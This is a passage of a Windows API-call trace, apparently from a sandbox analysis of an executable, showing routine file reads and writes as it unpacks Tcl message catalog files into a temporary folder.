CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.990] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar_sy.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ar_sy.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.991] GetFileType (hFile=0x10c) returned 0x1 [0036.992] htonl (hostlong=0x14070000) returned 0x714 [0036.992] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.992] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x714, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x714, lpOverlapped=0x0) returned 1 [0036.993] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.993] CloseHandle (hObject=0x10c) returned 1 [0036.993] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.993] htonl (hostlong=0x30000000) returned 0x30 [0036.993] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.993] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.993] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.994] GetFileType (hFile=0x10c) returned 0x1 [0036.994] htonl (hostlong=0xe32f5700) returned 0x572fe3 [0036.994] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bdfe3, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.994] htonl (hostlong=0xe9010000) returned 0x1e9 [0036.994] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1e9) returned 0x550600 [0036.994] htonl (hostlong=0xe9010000) returned 0x1e9 [0036.994] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.994] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.994] htonl (hostlong=0x39080000) returned 0x839 [0036.994] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x839) returned 0x55e278 [0036.994] htonl (hostlong=0xe9010000) returned 0x1e9 [0036.994] htonl (hostlong=0x39080000) returned 0x839 [0036.994] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.994] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.994] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.994] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.994] CloseHandle (hObject=0x10c) returned 1 [0036.994] GetLastError () returned 0x0 [0036.994] SetLastError (dwErrCode=0x0) [0036.994] GetLastError () returned 0x0 [0036.994] SetLastError (dwErrCode=0x0) [0036.994] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.994] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.994] GetFileType (hFile=0x10c) returned 0x1 [0036.994] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.994] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.995] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.995] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.995] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.995] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.995] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.995] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.995] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.995] CloseHandle (hObject=0x10c) returned 1 [0036.995] GetLastError () returned 0x0 [0036.995] SetLastError (dwErrCode=0x0) [0036.995] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0036.995] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.995] GetFileType (hFile=0x10c) returned 0x1 [0036.995] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.995] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.995] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.995] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.995] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.995] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.995] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.995] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.995] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.995] CloseHandle (hObject=0x10c) returned 1 [0036.996] GetLastError () returned 0x0 [0036.996] SetLastError (dwErrCode=0x0) [0036.996] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\be.msg") returned 61 [0036.996] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\be.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\be.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.996] GetLastError () returned 0x2 [0036.996] SetLastError (dwErrCode=0x2) [0036.996] GetLastError () returned 0x2 [0036.996] SetLastError (dwErrCode=0x2) [0036.996] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\be.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\be.msg", lpFilePart=0x0) returned 0x3c [0036.996] GetLastError () returned 0x2 [0036.996] SetLastError (dwErrCode=0x2) [0036.996] GetLastError () returned 0x2 [0036.996] SetLastError (dwErrCode=0x2) [0036.996] GetLastError () returned 0x2 [0036.996] SetLastError (dwErrCode=0x2) [0036.996] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\be.msg") returned 61 [0036.996] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.996] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\be.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\be.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.996] GetFileType (hFile=0x10c) returned 0x1 [0036.996] htonl (hostlong=0x39080000) returned 0x839 [0036.996] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.996] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x839, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x839, lpOverlapped=0x0) returned 1 [0036.997] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.997] CloseHandle (hObject=0x10c) returned 1 [0036.998] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.998] htonl (hostlong=0x30000000) returned 0x30 [0036.998] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.998] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.998] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.998] GetFileType (hFile=0x10c) returned 0x1 [0036.998] htonl (hostlong=0xcc315700) returned 0x5731cc [0036.998] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5be1cc, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.998] htonl (hostlong=0xbd010000) returned 0x1bd [0036.998] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bd) returned 0x550600 [0036.998] htonl (hostlong=0xbd010000) returned 0x1bd [0036.999] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.999] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.999] htonl (hostlong=0x1b070000) returned 0x71b [0036.999] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x71b) returned 0x55e278 [0036.999] htonl (hostlong=0xbd010000) returned 0x1bd [0036.999] htonl (hostlong=0x1b070000) returned 0x71b [0036.999] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.999] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.999] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.999] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.999] CloseHandle (hObject=0x10c) returned 1 [0036.999] GetLastError () returned 0x0 [0036.999] SetLastError (dwErrCode=0x0) [0036.999] GetLastError () returned 0x0 [0036.999] SetLastError (dwErrCode=0x0) [0036.999] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.999] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.999] GetFileType (hFile=0x10c) returned 0x1 [0036.999] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.999] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.999] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.999] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.999] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.999] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.999] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.999] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.000] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.000] CloseHandle (hObject=0x10c) returned 1 [0037.000] GetLastError () returned 0x0 [0037.000] SetLastError (dwErrCode=0x0) [0037.000] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.000] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.000] GetFileType (hFile=0x10c) returned 0x1 [0037.000] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.000] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.000] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.000] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.000] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.000] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.000] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.000] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.000] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.000] CloseHandle (hObject=0x10c) returned 1 [0037.000] GetLastError () returned 0x0 [0037.000] SetLastError (dwErrCode=0x0) [0037.000] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\bg.msg") returned 61 [0037.000] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\bg.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\bg.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.000] GetLastError () returned 0x2 [0037.001] SetLastError (dwErrCode=0x2) [0037.001] GetLastError () returned 0x2 [0037.001] SetLastError (dwErrCode=0x2) [0037.001] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\bg.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\bg.msg", lpFilePart=0x0) returned 0x3c [0037.001] GetLastError () returned 0x2 [0037.001] SetLastError (dwErrCode=0x2) [0037.001] GetLastError () returned 0x2 [0037.001] SetLastError (dwErrCode=0x2) [0037.001] GetLastError () returned 0x2 [0037.001] SetLastError (dwErrCode=0x2) [0037.001] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\bg.msg") returned 61 [0037.001] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.001] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\bg.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\bg.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.005] GetFileType (hFile=0x10c) returned 0x1 [0037.005] htonl (hostlong=0x1b070000) returned 0x71b [0037.006] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.006] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x71b, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x71b, lpOverlapped=0x0) returned 1 [0037.007] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.007] CloseHandle (hObject=0x10c) returned 1 [0037.007] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.007] htonl (hostlong=0x30000000) returned 0x30 [0037.007] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.007] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.007] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.007] GetFileType (hFile=0x10c) returned 0x1 [0037.007] htonl (hostlong=0x89335700) returned 0x573389 [0037.007] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5be389, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.008] htonl (hostlong=0x99010000) returned 0x199 [0037.008] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x199) returned 0x550600 [0037.008] htonl (hostlong=0x99010000) returned 0x199 [0037.008] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.008] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.008] htonl (hostlong=0xee080000) returned 0x8ee [0037.008] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8ee) returned 0x55e278 [0037.008] htonl (hostlong=0x99010000) returned 0x199 [0037.008] htonl (hostlong=0xee080000) returned 0x8ee [0037.008] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.008] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.008] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.008] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.008] CloseHandle (hObject=0x10c) returned 1 [0037.008] GetLastError () returned 0x0 [0037.008] SetLastError (dwErrCode=0x0) [0037.008] GetLastError () returned 0x0 [0037.008] SetLastError (dwErrCode=0x0) [0037.008] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.008] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.008] GetFileType (hFile=0x10c) returned 0x1 [0037.008] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.008] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.008] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.008] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.008] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.009] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.009] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.009] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.009] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.009] CloseHandle (hObject=0x10c) returned 1 [0037.009] GetLastError () returned 0x0 [0037.009] SetLastError (dwErrCode=0x0) [0037.009] MultiByteToWideChar (in: 